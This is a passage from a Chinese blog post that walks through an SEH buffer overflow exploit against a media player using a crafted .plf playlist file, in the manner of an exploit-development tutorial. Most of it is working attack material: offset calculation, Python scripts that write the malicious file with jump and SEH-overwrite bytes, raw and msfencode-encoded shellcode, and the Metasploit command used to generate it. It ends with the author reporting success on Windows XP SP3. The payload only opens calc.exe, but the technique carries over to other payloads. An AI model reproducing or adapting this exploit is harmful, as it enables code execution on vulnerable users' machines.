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1,'a'),(2,'b'),(3,'c'),(4,'d'),(5,'e'),(6,'f'),(7,'g'),(8,'h'),(9,'i'),(10,'j'),(11,'k'),(12,'l'),(13,'m'),(14,'n'),(15,'o'),(16,'p'),(17,'q'),(18,'r'),(19,'s'),(20,'t'),(21,'u'),(22,'v'),(23,'w'),(24,'x'),(25,'y'),(26,'z')]

  

因此Au3-Aa0 = [u-a] * 10 + [3 - 0 ] = (21 - 1) * 10 + 3 = 203,即Au3是第203个三元组

所以2Au3是在203*3 = 609偏移处

 

或者

At9-Aa0 = [t - a + 1] * 10 = 200组,占据了600个字节,

Au0Au1Au2Au3

Prelude> zip [601..700] ['A','u','0','A','u','1','A','u','2','A','u','3']
[(601,'A'),(602,'u'),(603,'0'),(604,'A'),(605,'u'),(606,'1'),(607,'A'),(608,'u'),(609,'2'),(610,'A'),(611,'u'),(612,'3')]

  

因此是609偏移,或者说占据了609-612这四个字节。

 参考:http://www.fuzzysecurity.com/tutorials/expDev/3.html

filename="evil.plf"

buffer = "A"*608 + "B"*4 + "C"*4 + "D"*(2000 - 608 - 8 - 8)

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

  

0:000> dd poi(fs:0)
0012f2c8  42424242 43434343 44444444 44444444
0012f2d8  44444444 44444444 44444444 44444444
0012f2e8  44444444 44444444 44444444 44444444
0012f2f8  44444444 44444444 44444444 44444444
0012f308  44444444 44444444 44444444 44444444
0012f318  44444444 44444444 44444444 44444444
0012f328  44444444 44444444 44444444 44444444
0012f338  44444444 44444444 44444444 44444444

  

filename="evil1.plf"
 
buf = "A"*608 + "\xeb\x06\x90\x90" + "\xb6\xf7\x47\x00"
buf += "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
buf += "\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
buf += "\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"
buf += "\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0"
buf += "\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b"
buf += "\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01"
buf += "\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"
buf += "\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
buf += "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"
buf += "\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86"
buf += "\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b"
buf += "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd"
buf += "\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
buf += "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
buf += "\x2e\x65\x78\x65\x00"
buf += "D"*(2000 - 608 - 8 - 8 - 200)

  
textfile = open(filename , 'w')
textfile.write(buf)
textfile.close()

  

这种方式,并没有exploit成功,原因是shellcode中不能有\x00,这会使字符串截止,而且msfpayload生成的payload中也包含\x00,也无法使用。

 

因此需要使用msfencode进行加密,

daniel@daniel-mint ~/msf/metasploit-framework $ ruby msfpayload windows/exec CMD=calc.exe R | ruby msfencode -b '\x00\x0d\x0a\x1a' -t python -e x86/call4_dword_xor 
WARNING: Nokogiri was built against LibXML version 2.8.0, but has dynamically loaded 2.9.1WARNING: Nokogiri was built against LibXML version 2.8.0, but has dynamically loaded 2.9.1

[*] x86/call4_dword_xor succeeded with size 224 (iteration=1)

buf =  ""
buf += "\x2b\xc9\x83\xe9\xce\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\xdc\x84\x22\x40\x83\xee\xfc\xe2\xf4\x20\x6c"
buf += "\xab\x40\xdc\x84\x42\xc9\x39\xb5\xf0\x24\x57\xd6\x12"
buf += "\xcb\x8e\x88\xa9\x12\xc8\x0f\x50\x68\xd3\x33\x68\x66"
buf += "\xed\x7b\x13\x80\x70\xb8\x43\x3c\xde\xa8\x02\x81\x13"
buf += "\x89\x23\x87\x3e\x74\x70\x17\x57\xd6\x32\xcb\x9e\xb8"
buf += "\x23\x90\x57\xc4\x5a\xc5\x1c\xf0\x68\x41\x0c\xd4\xa9"
buf += "\x08\xc4\x0f\x7a\x60\xdd\x57\xc1\x7c\x95\x0f\x16\xcb"
buf += "\xdd\x52\x13\xbf\xed\x44\x8e\x81\x13\x89\x23\x87\xe4"
buf += "\x64\x57\xb4\xdf\xf9\xda\x7b\xa1\xa0\x57\xa2\x84\x0f"
buf += "\x7a\x64\xdd\x57\x44\xcb\xd0\xcf\xa9\x18\xc0\x85\xf1"
buf += "\xcb\xd8\x0f\x23\x90\x55\xc0\x06\x64\x87\xdf\x43\x19"
buf += "\x86\xd5\xdd\xa0\x84\xdb\x78\xcb\xce\x6f\xa4\x1d\xb6"
buf += "\x85\xaf\xc5\x65\x84\x22\x40\x8c\xec\x13\xcb\xb3\x03"
buf += "\xdd\x95\x67\x74\x97\xe2\x8a\xec\x84\xd5\x61\x19\xdd"
buf += "\x95\xe0\x82\x5e\x4a\x5c\x7f\xc2\x35\xd9\x3f\x65\x53"
buf += "\xae\xeb\x48\x40\x8f\x7b\xf7\x23\xbd\xe8\x41\x6e\xb9"
buf += "\xfc\x47\x40"

  

然后写入shellcode

 

filename="evil1.plf"
 
buf = "A"*608 + "\xeb\x06\x90\x90" + "\xed\x7a\x03\x64"
buf += "\x90"*20
buf += "\x2b\xc9\x83\xe9\xce\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\xdc\x84\x22\x40\x83\xee\xfc\xe2\xf4\x20\x6c"
buf += "\xab\x40\xdc\x84\x42\xc9\x39\xb5\xf0\x24\x57\xd6\x12"
buf += "\xcb\x8e\x88\xa9\x12\xc8\x0f\x50\x68\xd3\x33\x68\x66"
buf += "\xed\x7b\x13\x80\x70\xb8\x43\x3c\xde\xa8\x02\x81\x13"
buf += "\x89\x23\x87\x3e\x74\x70\x17\x57\xd6\x32\xcb\x9e\xb8"
buf += "\x23\x90\x57\xc4\x5a\xc5\x1c\xf0\x68\x41\x0c\xd4\xa9"
buf += "\x08\xc4\x0f\x7a\x60\xdd\x57\xc1\x7c\x95\x0f\x16\xcb"
buf += "\xdd\x52\x13\xbf\xed\x44\x8e\x81\x13\x89\x23\x87\xe4"
buf += "\x64\x57\xb4\xdf\xf9\xda\x7b\xa1\xa0\x57\xa2\x84\x0f"
buf += "\x7a\x64\xdd\x57\x44\xcb\xd0\xcf\xa9\x18\xc0\x85\xf1"
buf += "\xcb\xd8\x0f\x23\x90\x55\xc0\x06\x64\x87\xdf\x43\x19"
buf += "\x86\xd5\xdd\xa0\x84\xdb\x78\xcb\xce\x6f\xa4\x1d\xb6"
buf += "\x85\xaf\xc5\x65\x84\x22\x40\x8c\xec\x13\xcb\xb3\x03"
buf += "\xdd\x95\x67\x74\x97\xe2\x8a\xec\x84\xd5\x61\x19\xdd"
buf += "\x95\xe0\x82\x5e\x4a\x5c\x7f\xc2\x35\xd9\x3f\x65\x53"
buf += "\xae\xeb\x48\x40\x8f\x7b\xf7\x23\xbd\xe8\x41\x6e\xb9"
buf += "\xfc\x47\x40"
buf += "D"*(2000 - 608 - 8 - 8 - 224-20)

  
textfile = open(filename , 'w')
textfile.write(buf)
textfile.close()

  

 用下面平台测试,exploit成功。

Exploit Development: Backtrack 5
Debugging Machine: Windows XP PRO SP3
Vulnerable Software: Download

 

posted @ 2014-07-09 16:27  Daniel King  阅读(1249)  评论(0编辑  收藏  举报